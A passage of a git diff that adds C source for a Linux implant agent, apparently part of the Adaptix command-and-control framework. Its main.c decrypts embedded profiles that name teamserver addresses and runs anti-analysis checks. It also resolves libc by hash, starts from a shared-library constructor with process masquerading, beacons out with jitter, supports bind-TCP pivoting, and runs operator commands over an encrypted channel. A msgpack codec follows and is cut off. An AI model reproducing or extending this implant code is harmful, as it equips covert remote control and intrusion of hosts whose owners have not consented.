jobs_update_connection(job_context_t *ctx, const char *address, + int banner_size, const uint8_t *enc_key, + uint32_t profile_type); + +/// Open a new C2 connection for an async job +int jobs_open_connection(job_context_t *ctx, connector_t *conn); + +/// Find a free job slot (returns index or -1) +int jobs_alloc(job_context_t *ctx); + +/// Find job by ID (returns index or -1) +int jobs_find(job_context_t *ctx, const char *job_id); + +/// Remove job by index +void jobs_remove(job_context_t *ctx, int idx); + +/// Find tunnel by channel_id +int tunnels_find(job_context_t *ctx, int channel_id); + +/// Find terminal by term_id +int terminals_find(job_context_t *ctx, int term_id); + +/// Build and send a job message on a separate connection +int jobs_send_message(job_context_t *ctx, connector_t *conn, + uint32_t command_id, const char *job_id, + const uint8_t *data, uint32_t data_len); + +/// Build and send the init pack for an async job +int jobs_send_init(job_context_t *ctx, connector_t *conn, + int pack_type, const uint8_t *pack_data, uint32_t pack_len); + +/// Create a detached thread running fn(arg). Returns 0 on success. +/// Uses pthread in SO mode, clone()+mmap stack in static mode. +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg); + +/// Mutex operations (pthread in SO mode, spinlock in static mode) +void jobs_mutex_init(pthread_mutex_t *m); +void jobs_mutex_lock(pthread_mutex_t *m); +void jobs_mutex_unlock(pthread_mutex_t *m); + +/// Global job context (set in main.c) +extern job_context_t g_job_ctx; + +#endif /* JOBS_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c new file mode 100644 index 000000000..4fa8f59f6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c @@ -0,0 +1,600 @@ +#include "types.h" +#include "crt.h" +#include "msgpack.h" +#include "crypt.h" +#include "connector.h" +#include "agent_info.h" +#include "commander.h" +#include "jobs.h" +#include "pivot.h" +#include "proxyfire.h" +#include "elf_resolve.h" +#include "opsec.h" +#include "config.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +/// Global state +static int ACTIVE = 1; + +/// Stored argv for process masquerading (set by entry point) +char **g_argv = NULL; + +/// Decode an encrypted profile blob +/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)] +typedef struct { + uint32_t type; + uint32_t listener_watermark; + char** addresses; + uint32_t addr_count; + int banner_size; + int conn_timeout; + int conn_count; + int use_ssl; + uint8_t enc_key[16]; + uint16_t bind_port; +} profile_t; + +static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) { + if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) return -1; + + // Extract key (first 16 bytes) + ax_memcpy(prof->enc_key, enc_data, 16); + + // Decrypt the rest + size_t pt_len; + uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len); + if (!plaintext) return -1; + + // Parse msgpack Profile struct + mp_reader_t r; + mp_reader_init(&r, plaintext, pt_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + ax_free(plaintext); + return -1; + } + + // Initialize defaults + prof->type = 0; + prof->listener_watermark = 0; + prof->addresses = (char**)0; + prof->addr_count = 0; + prof->banner_size = 0; + prof->conn_timeout = 10; + prof->conn_count = 1000000000; + prof->use_ssl = 0; + prof->bind_port = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v; + } else if (klen == 18 && ax_memcmp(key, "listener_watermark", 18) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->listener_watermark = (uint32_t)v; + } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*)); + prof->addr_count = arr_count; + for (uint32_t j = 0; j < arr_count; j++) { + const char* addr; uint32_t alen; + mp_read_str(&r, &addr, &alen); + prof->addresses[j] = (char*)ax_malloc(alen + 1); + ax_memcpy(prof->addresses[j], addr, alen); + prof->addresses[j][alen] = '\0'; + } + } + } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v; + } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v; + } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v; + } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) { + bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0; + } else if (klen == 9 && ax_memcmp(key, "bind_port", 9) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->bind_port = (uint16_t)v; + } else { + mp_skip(&r); + } + } + + ax_free(plaintext); + return 0; +} + +static void free_profile(profile_t* prof) { + if (prof->addresses) { + for (uint32_t i = 0; i < prof->addr_count; i++) { + if (prof->addresses[i]) + ax_free(prof->addresses[i]); + } + ax_free(prof->addresses); + } +} + +/// Build the init message: [4B listener_watermark BE][encrypted(StartMsg{type:INIT_PACK, data:InitPack{id, type, data:sessionInfo}})] +/// The 4B watermark prefix enables pivot routing — parent extracts it and sends to teamserver +/// Encrypted portion uses profile key (AES-128-GCM) +static int build_init_msg(uint32_t agent_id, uint32_t profile_type, + uint32_t listener_watermark, + const uint8_t* session_info, size_t si_len, + const uint8_t* enc_key, + uint8_t** out_msg, size_t* out_len) { + // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data + mp_writer_t inner; + mp_writer_init(&inner, 256); + mp_write_map(&inner, 3); + mp_write_kv_uint(&inner, "id", agent_id); + mp_write_kv_uint(&inner, "type", profile_type); + mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len); + + // Outer: StartMsg — declaration order: Type, Data → tags: id, data + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", INIT_PACK); + mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_writer_free(&inner); + + // Encrypt with profile key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len); + mp_writer_free(&outer); + + if (!encrypted) return -1; + + // Prepend 4-byte listener watermark (big-endian) for pivot routing + size_t total_len = 4 + enc_len; + uint8_t* msg = (uint8_t*)ax_malloc(total_len); + if (!msg) { ax_free(encrypted); return -1; } + + msg[0] = (uint8_t)(listener_watermark >> 24); + msg[1] = (uint8_t)(listener_watermark >> 16); + msg[2] = (uint8_t)(listener_watermark >> 8); + msg[3] = (uint8_t)(listener_watermark); + ax_memcpy(msg + 4, encrypted, enc_len); + ax_free(encrypted); + + *out_msg = msg; + *out_len = total_len; + return 0; +} + +/// Parse Message{type: int8, object: [][]byte} from decrypted data +static int parse_message(const uint8_t* data, size_t len, + int8_t* msg_type, + const uint8_t*** objects, uint32_t** obj_sizes, + uint32_t* obj_count) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *msg_type = 0; + *objects = (const uint8_t**)0; + *obj_sizes = (uint32_t*)0; + *obj_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 6 && ax_memcmp(key, "object", 6) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) return -1; + + *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*)); + *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t)); + *obj_count = arr_count; + + for (uint32_t j = 0; j < arr_count; j++) { + const uint8_t* bin_data; + uint32_t bin_len; + if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1; + (*objects)[j] = bin_data; + (*obj_sizes)[j] = bin_len; + } + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + int64_t v; + if (mp_read_int(&r, &v) != 0) return -1; + *msg_type = (int8_t)v; + } else { + mp_skip(&r); + } + } + return 0; +} + +/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte} +static int parse_command(const uint8_t* data, size_t len, + uint32_t* code, uint32_t* cmd_id, + const uint8_t** cmd_data, uint32_t* cmd_data_len) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 4 && ax_memcmp(key, "code", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v; + } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) { + uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, cmd_data, cmd_data_len); + } else { + mp_skip(&r); + } + } + return 0; +} + +/// ---- Entry points ---- + +static int agent_main(void); + +#ifdef BUILD_SO +// Linux passes argc, argv, envp to constructors (GCC extension) +__attribute__((constructor)) +static void so_entry(int argc, char **argv, char **envp) { + (void)argc; (void)envp; + g_argv = argv; + agent_main(); +} +#else +// Static ELF: _start receives the stack directly from the kernel. +// On Linux x86_64/ARM64, stack layout at _start: +// [rsp/sp] = argc +// [rsp+8] = argv[0] +// [rsp+16] = argv[1] +// ... +// +// CRITICAL: _start MUST be naked. Without naked, gcc generates a +// function prologue (push rbp; mov rbp,rsp) that shifts RSP before +// we can read it, corrupting g_argv → segfault in masquerade/migrate. + +// Helper called from the naked ASM trampoline with the original SP value. +__attribute__((noreturn, noinline, used)) +static void _start_c(unsigned long *stack) { + g_argv = (char **)(stack + 1); // argv starts after argc + int ret = agent_main(); + sys_exit_group(ret); + __builtin_unreachable(); +} + +__attribute__((naked, noreturn)) +void _start(void) { +#ifdef ARCH_X86_64 + __asm__ volatile ( + "mov %%rsp, %%rdi\n" // rdi = original SP (argc at [rsp]) + "and $-16, %%rsp\n" // 16-byte align stack (ABI) + "call _start_c\n" + ::: "memory" + ); +#elif defined(ARCH_AARCH64) + __asm__ volatile ( + "mov x0, sp\n" // x0 = original SP (argc at [sp]) + "and sp, x0, #-16\n" // 16-byte align stack (ABI) + "bl _start_c\n" + ::: "memory" + ); +#endif +} +#endif + +/// Command loop — shared between client TCP and bind TCP modes. +/// Handles recv/process/send cycle with non-blocking polling. +/// Returns 0 if ACTIVE was set to 0 (exit), -1 on connection error. +static int command_loop(connector_t* conn, const uint8_t* session_key) { + while (ACTIVE) { + uint8_t* recv_data = (uint8_t*)0; + size_t recv_len = 0; + + // Poll C2 socket with 100ms timeout + int poll_ret = conn_recv_msg_timeout(conn, &recv_data, &recv_len, 100); + if (poll_ret < 0) return -1; // error/disconnect → reconnect + + // Build response objects collector + mp_writer_t obj_collector; + mp_writer_init(&obj_collector, 1024); + uint32_t resp_count = 0; + + // If we received data from teamserver, process it + uint8_t* plaintext = (uint8_t*)0; + const uint8_t** objects = (const uint8_t**)0; + uint32_t* obj_sizes = (uint32_t*)0; + uint32_t obj_count = 0; + + if (poll_ret == 0 && recv_data && recv_len > 0) { + // Decrypt with session key + size_t plain_len; + plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len); + ax_free(recv_data); + recv_data = (uint8_t*)0; + if (!plaintext) return -1; + + // Parse Message + int8_t msg_type = 0; + + if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) { + ax_free(plaintext); + return -1; + } + + if (msg_type == 1 && obj_count > 0) { + for (uint32_t i = 0; i < obj_count; i++) { + uint32_t code = 0, cmd_id = 0; + const uint8_t* cmd_data = (const uint8_t*)0; + uint32_t cmd_data_len = 0; + parse_command(objects[i], obj_sizes[i], + &code, &cmd_id, &cmd_data, &cmd_data_len); + + mp_writer_t cmd_resp; + mp_writer_init(&cmd_resp, 256); + + int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp); + if (ret == -99) ACTIVE = 0; + + // Wrap response in Command{code, id, data} + mp_writer_t wrapped; + mp_writer_init(&wrapped, 256); + mp_write_map(&wrapped, 3); + mp_write_kv_uint(&wrapped, "code", code); + mp_write_kv_uint(&wrapped, "id", cmd_id); + mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len); + + mp_write_bin(&obj_collector, wrapped.buf.data, (uint32_t)wrapped.buf.len); + mp_writer_free(&cmd_resp); + mp_writer_free(&wrapped); + resp_count++; + } + } + } else if (poll_ret == 0 && recv_len == 0) { + // Received empty heartbeat from teamserver (len=0 msg) + ax_free(recv_data); + recv_data = (uint8_t*)0; + } + // poll_ret == 1: timeout, no data from teamserver + + // ALWAYS poll active pivots and tunnels + resp_count += (uint32_t)process_pivots(&g_pivot_ctx, &obj_collector); + resp_count += (uint32_t)process_tunnels(&obj_collector); + + // Send response if we have data OR if we received a message from teamserver + int must_respond = (poll_ret == 0); + if (resp_count > 0 || must_respond) { + mp_writer_t msg_writer; + mp_writer_init(&msg_writer, 1024); + mp_write_map(&msg_writer, 2); + + if (resp_count > 0) { + mp_write_kv_int(&msg_writer, "type", 1); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, resp_count); + buf_append(&msg_writer.buf, obj_collector.buf.data, obj_collector.buf.len); + } else { + mp_write_kv_int(&msg_writer, "type", 0); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, 0); + } + + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len, + session_key, &enc_len); + mp_writer_free(&msg_writer); + + if (encrypted) { + if (conn_send_msg(conn, encrypted, enc_len) != 0) { + ax_free(encrypted); + mp_writer_free(&obj_collector); + if (objects) ax_free((void*)objects); + if (obj_sizes) ax_free(obj_sizes); + if (plaintext) ax_free(plaintext); + return -1; + } + ax_free(encrypted); + } + } + mp_writer_free(&obj_collector); + + // Cleanup + if (objects) ax_free((void*)objects); + if (obj_sizes) ax_free(obj_sizes); + if (plaintext) ax_free(plaintext); + if (recv_data) ax_free(recv_data); + } + return 0; +} + +static int agent_main(void) { + // OPSEC checks — abort if hostile environment detected +#ifdef OPSEC_ENABLED + if (opsec_check() != 0) return 1; +#endif + + // ELF resolver — resolve libc APIs by hash (SO mode only) +#ifdef BUILD_SO + if (elf_resolver_init() != 0) return 1; +#endif + + // Decode profiles from config + profile_t profiles[8]; + uint32_t profile_count = 0; + +#if PROFILE_COUNT > 0 + for (int i = 0; i < PROFILE_COUNT && i < 8; i++) { + if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) { + profile_count++; + } + } +#endif + + if (profile_count == 0) return 1; + + // Create session info + mp_writer_t si_writer; + mp_writer_init(&si_writer, 512); + uint8_t session_key[16]; + if (create_session_info(&si_writer, session_key) != 0) return 1; + + // Generate random agent ID + uint8_t id_buf[4]; + ax_random_bytes(id_buf, 4); + uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) | + ((uint32_t)id_buf[2] << 8) | id_buf[3]; + + // Keep session info for reuse across profile rotations + uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len); + size_t session_info_len = si_writer.buf.len; + ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len); + mp_writer_free(&si_writer); + + // Initialize job context for async operations (stubs for Phase 1) + jobs_init(&g_job_ctx); + g_job_ctx.agent_id = agent_id; + ax_memcpy(g_job_ctx.session_key, session_key, 16); + + // Initialize pivot context for TCP relay + pivots_init(&g_pivot_ctx); + + // Build init message + uint32_t prof_idx = 0; + profile_t* prof = &profiles[prof_idx]; + + uint8_t* init_msg = (uint8_t*)0; + size_t init_msg_len = 0; + build_init_msg(agent_id, prof->type, + prof->listener_watermark, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + + if (!init_msg) { ax_free(session_info_data); return 1; } + + if (prof->bind_port > 0) { + // ======== BIND TCP MODE ======== + // Agent listens on a port, parent connects to us. + // Used for pivot: beacon parent → "link tcp " → this agent. + connector_t server; + if (conn_bind_listen(&server, prof->bind_port) != 0) { + ax_free(init_msg); + ax_free(session_info_data); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + return 1; + } + + // Accept loop — re-accept if connection drops + while (ACTIVE) { + connector_t conn; + if (conn_accept(&conn, &server) != 0) continue; + + // Send init message (watermark + encrypted beat) + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + conn_close(&conn); + continue; + } + + // Enter command loop (shared with client TCP mode) + command_loop(&conn, session_key); + + conn_close(&conn); + } + + conn_close(&server); + } else { + // ======== CLIENT TCP MODE ======== + // Agent connects out to teamserver addresses. + uint32_t addr_idx = 0; + + for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) { + if (attempt > 0) { + // Bidirectional jitter: ±20% of conn_timeout + unsigned int base_sleep = (unsigned int)prof->conn_timeout; + if (base_sleep > 2) { + uint8_t rnd[4]; + ax_random_bytes(rnd, 4); + uint32_t rval = ((uint32_t)rnd[0] << 24) | ((uint32_t)rnd[1] << 16) | + ((uint32_t)rnd[2] << 8) | rnd[3]; + unsigned int jitter_range = (base_sleep * 40) / 100; + unsigned int delta = rval % (jitter_range + 1); + unsigned int half = jitter_range / 2; + if (base_sleep > half) + base_sleep = base_sleep - half + delta; + } + sys_sleep(base_sleep); + addr_idx++; + if (addr_idx >= prof->addr_count) { + addr_idx = 0; + prof_idx = (prof_idx + 1) % profile_count; + prof = &profiles[prof_idx]; + + ax_free(init_msg); + build_init_msg(agent_id, prof->type, + prof->listener_watermark, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + } + } + + // Update job context with current connection info + jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx], + prof->banner_size, prof->enc_key, prof->type); + + // Connect + connector_t conn; + if (conn_open(&conn, prof->addresses[addr_idx]) != 0) continue; + + // Reset attempt counter on successful connect + attempt = 0; + + // Read banner + if (prof->banner_size > 0) { + if (conn_discard(&conn, (size_t)prof->banner_size) != 0) { + conn_close(&conn); + continue; + } + } + + // Send init + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + conn_close(&conn); + continue; + } + + // Enter command loop (shared with bind TCP mode) + command_loop(&conn, session_key); + + conn_close(&conn); + } + } + + // Cleanup + ax_free(init_msg); + ax_free(session_info_data); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c new file mode 100644 index 000000000..7dea1e589 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c @@ -0,0 +1,512 @@ +#include "msgpack.h" + +/// ---- Writer ---- + +int mp_writer_init(mp_writer_t* w, size_t cap) { + buf_init(&w->buf, (int)cap); + return 0; +} + +void mp_writer_free(mp_writer_t* w) { + buf_free(&w->buf); +} + +static int write_byte(mp_writer_t* w, uint8_t b) { + buf_append(&w->buf, &b, 1); + return 0; +} + +static int write_bytes(mp_writer_t* w, const void* data, size_t len) { + buf_append(&w->buf, data, (int)len); + return 0; +} + +static int write_u16_be(mp_writer_t* w, uint16_t val) { + uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val }; + return write_bytes(w, b, 2); +} + +static int write_u32_be(mp_writer_t* w, uint32_t val) { + uint8_t b[4] = { + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 4); +} + +int mp_write_map(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x80 | (uint8_t)count); + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDE)) return -1; + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDF)) return -1; + return write_u32_be(w, count); + } +} + +int mp_write_array(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x90 | (uint8_t)count); + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDC)) return -1; + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDD)) return -1; + return write_u32_be(w, count); + } +} + +int mp_write_nil(mp_writer_t* w) { + return write_byte(w, 0xC0); +} + +int mp_write_bool(mp_writer_t* w, bool val) { + return write_byte(w, val ? 0xC3 : 0xC2); +} + +int mp_write_uint(mp_writer_t* w, uint64_t val) { + if (val <= 0x7F) { + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFF) { + if (write_byte(w, 0xCC)) return -1; + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFFFF) { + if (write_byte(w, 0xCD)) return -1; + return write_u16_be(w, (uint16_t)val); + } else if (val <= 0xFFFFFFFF) { + if (write_byte(w, 0xCE)) return -1; + return write_u32_be(w, (uint32_t)val); + } else { + if (write_byte(w, 0xCF)) return -1; + uint8_t b[8] = { + (uint8_t)(val >> 56), (uint8_t)(val >> 48), + (uint8_t)(val >> 40), (uint8_t)(val >> 32), + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_int(mp_writer_t* w, int64_t val) { + if (val >= 0) { + return mp_write_uint(w, (uint64_t)val); + } + if (val >= -32) { + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -128) { + if (write_byte(w, 0xD0)) return -1; + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -32768) { + if (write_byte(w, 0xD1)) return -1; + return write_u16_be(w, (uint16_t)(val & 0xFFFF)); + } else if (val >= -2147483648LL) { + if (write_byte(w, 0xD2)) return -1; + return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF)); + } else { + if (write_byte(w, 0xD3)) return -1; + uint64_t uval = (uint64_t)val; + uint8_t b[8] = { + (uint8_t)(uval >> 56), (uint8_t)(uval >> 48), + (uint8_t)(uval >> 40), (uint8_t)(uval >> 32), + (uint8_t)(uval >> 24), (uint8_t)(uval >> 16), + (uint8_t)(uval >> 8), (uint8_t)uval + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) { + if (len <= 31) { + if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; + } else if (len <= 0xFF) { + if (write_byte(w, 0xD9)) return -1; + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xDA)) return -1; + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xDB)) return -1; + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, str, len); + } + return 0; +} + +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) { + if (len <= 0xFF) { + if (write_byte(w, 0xC4)) return -1; + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xC5)) return -1; + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xC6)) return -1; + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, data, len); + } + return 0; +} + +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) { + uint32_t klen = (uint32_t)ax_strlen(key); + uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0; + if (mp_write_str(w, key, klen)) return -1; + return mp_write_str(w, val ? val : "", vlen); +} + +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bin(w, data, len); +} + +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_uint(w, val); +} + +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_int(w, val); +} + +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bool(w, val); +} + +/// ---- Reader ---- + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) { + r->data = data; + r->len = len; + r->pos = 0; +} + +static int read_byte(mp_reader_t* r, uint8_t* b) { + if (r->pos >= r->len) return -1; + *b = r->data[r->pos++]; + return 0; +} + +static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) { + if (r->pos + len > r->len) return -1; + *out = r->data + r->pos; + r->pos += len; + return 0; +} + +static uint16_t read_u16_be(const uint8_t* p) { + return ((uint16_t)p[0] << 8) | p[1]; +} + +static uint32_t read_u32_be(const uint8_t* p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | p[3]; +} + +static uint64_t read_u64_be(const uint8_t* p) { + return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | + ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) | + ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | + ((uint64_t)p[6] << 8) | p[7]; +} + +uint8_t mp_peek_type(mp_reader_t* r) { + if (r->pos >= r->len) return 0; + return r->data[r->pos]; +} + +int mp_read_map(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xF0) == 0x80) { + *count = b & 0x0F; + return 0; + } else if (b == 0xDE) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDF) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_array(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xF0) == 0x90) { + *count = b & 0x0F; + return 0; + } else if (b == 0xDC) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDD) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_nil(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + return (b == 0xC0) ? 0 : -1; +} + +int mp_read_bool(mp_reader_t* r, bool* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC3) { *val = true; return 0; } + if (b == 0xC2) { *val = false; return 0; } + return -1; +} + +int mp_read_uint(mp_reader_t* r, uint64_t* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b <= 0x7F) { + *val = b; + return 0; + } + const uint8_t* p; + switch (b) { + case 0xCC: + if (read_byte(r, &b)) return -1; + *val = b; + return 0; + case 0xCD: + if (read_bytes(r, &p, 2)) return -1; + *val = read_u16_be(p); + return 0; + case 0xCE: + if (read_bytes(r, &p, 4)) return -1; + *val = read_u32_be(p); + return 0; + case 0xCF: + if (read_bytes(r, &p, 8)) return -1; + *val = read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_int(mp_reader_t* r, int64_t* val) { + uint8_t b = mp_peek_type(r); + if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) { + uint64_t uval; + if (mp_read_uint(r, &uval)) return -1; + *val = (int64_t)uval; + return 0; + } + if ((b & 0xE0) == 0xE0) { + read_byte(r, &b); + *val = (int8_t)b; + return 0; + } + read_byte(r, &b); + const uint8_t* p; + switch (b) { + case 0xD0: + if (read_byte(r, &b)) return -1; + *val = (int8_t)b; + return 0; + case 0xD1: + if (read_bytes(r, &p, 2)) return -1; + *val = (int16_t)read_u16_be(p); + return 0; + case 0xD2: + if (read_bytes(r, &p, 4)) return -1; + *val = (int32_t)read_u32_be(p); + return 0; + case 0xD3: + if (read_bytes(r, &p, 8)) return -1; + *val = (int64_t)read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xE0) == 0xA0) { + *len = b & 0x1F; + } else if (b == 0xD9) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xDA) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xDB) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + const uint8_t* p; + if (*len > 0) { + if (read_bytes(r, &p, *len)) return -1; + *str = (const char*)p; + } else { + *str = ""; + } + return 0; +} + +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC4) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xC5) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xC6) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else 